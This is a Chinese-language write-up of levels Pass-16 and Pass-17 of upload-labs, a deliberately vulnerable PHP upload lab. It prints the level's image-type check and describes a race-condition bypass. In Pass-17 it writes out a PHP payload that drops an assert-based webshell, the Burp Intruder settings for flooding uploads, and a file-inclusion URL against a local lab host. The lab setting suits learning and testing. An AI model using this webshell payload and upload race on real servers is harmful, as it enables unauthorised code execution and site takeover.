目录
Pass-16
这关我也把Pass-14中的三种图片马都试了一下,都是可以上传成功并用蚁剑连接成功的,所以具体步骤这边就不写了,可以参照Pass-14(upload-labs通关(Pass-11~Pass-15)_箭雨镜屋-优快云博客)
代码分析:
本关用exif_imagetype()函数来检查文件是否是图片,以及具体是那种类型的图片,并据此决定文件是否可以上传,以及文件的后缀名。
function isImage($filename){
//需要开启php_exif模块
$image_type = exif_imagetype($filename);
switch ($image_type) {
case IMAGETYPE_GIF:
return "gif";
break;
case IMAGETYPE_JPEG:
return "jpg";
break;
case IMAGETYPE_PNG:
return "png";
break;
default:
return false;
break;
}
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
注意:
由于本关使用了exif_imagetype()函数,所以需要开启php_exif模块,如果和我一样用的是php_study,可以在网站选项卡中点管理,选php扩展,php_exif前面如果没有勾勾说明没开启,点一下就可以开启了。
Pass-17
本关我尝试了Pass-16的三个payload(.jpeg需要改为.jpg),发现虽然上传都能成功,但是用蚁剑都连接不上,到服务器上看了一下,发现三种图片文件中都不包含php代码了,看来是后端代码对图片做了处理,删掉了php代码,或是删掉了包含php代码的部分。
这种情况有两种方案:
第一种,可以试试对比上传前和上传后的文件之间的差异,如果有未修改的部分,可以试试将一句话插入这一部分;
第二种,如果图片上传后先保存为我们可预知的路径和文件名,然后才进行去除php代码的处理,可以试试条件竞争,不断上传图片,图片中包含写一句话木马文件的php代码,不断利用文件包含漏洞访问图片,触发写一句话木马的语句。
关于第一种方法,我自己是用jpg尝试的,没搞成,好不容易找到没修改的地方,插入php代码之后被判定为不是jpg格式了。关于这种方法,网上找到一篇
upload-labs之pass 16详细分析 - 先知社区 (aliyun.com)
三种图片格式如何操作都描述了,这里就不赘述了。总之遇到这种情况,上传gif是最简单的,可以人工对比。
我自己来试试条件竞争。用条件竞争方法的话,要用burpsuite的intruder模块大量快速上传包含写webshell的语句的图片,同时,在图片被处理之前,快速多次利用文件包含漏洞访问该图片(手速快的话可以手工访问,也可以写脚本,或者用burpsuite的intruder模块访问),触发其执行写webshell的操作。
因此,使用条件竞争方法是有前提条件的:上传的图片被处理之前的文件路径和文件名必须是可预知的。
根据本关代码(为了结构紧凑,放在本关结尾),本关是满足这个条件的,上传后的图片处理前被保存在C:\phpstudy_pro\WWW\upload-labs\upload,并且文件名就是客户端上传的文件名。
下面真的真的开始试条件竞争了(剧透一下,成功了~):
1、上传文件bai-write.jpg,里面有php代码:
<?php file_put_contents('shell.php','<?php @assert($_POST[pass17]);?>'); ?>
2、burpsuite抓到包之后send to intruder
在intruder的positions设置中,不要设置任何注入点
而payloads设置中payload type选择null payloads,payload options中genete后面的空格中填写需要发送多少次报文,我这边只填了100,其实比较少,很考验手速的,建议多填点,1000起步吧
3、点start attack之后,立刻马上抓紧时间,浏览器中利用文件包含漏洞,访问上传后处理前的临时文件:
http://192.168.101.16/upload-labs/include.php?file=./upload/bai-write.jpg
我这边为了快,用了hackbar。(当然,备选方案是用脚本或者burp的intruder模块访问,为什么没用,因为虽然可以,但是没有必要。)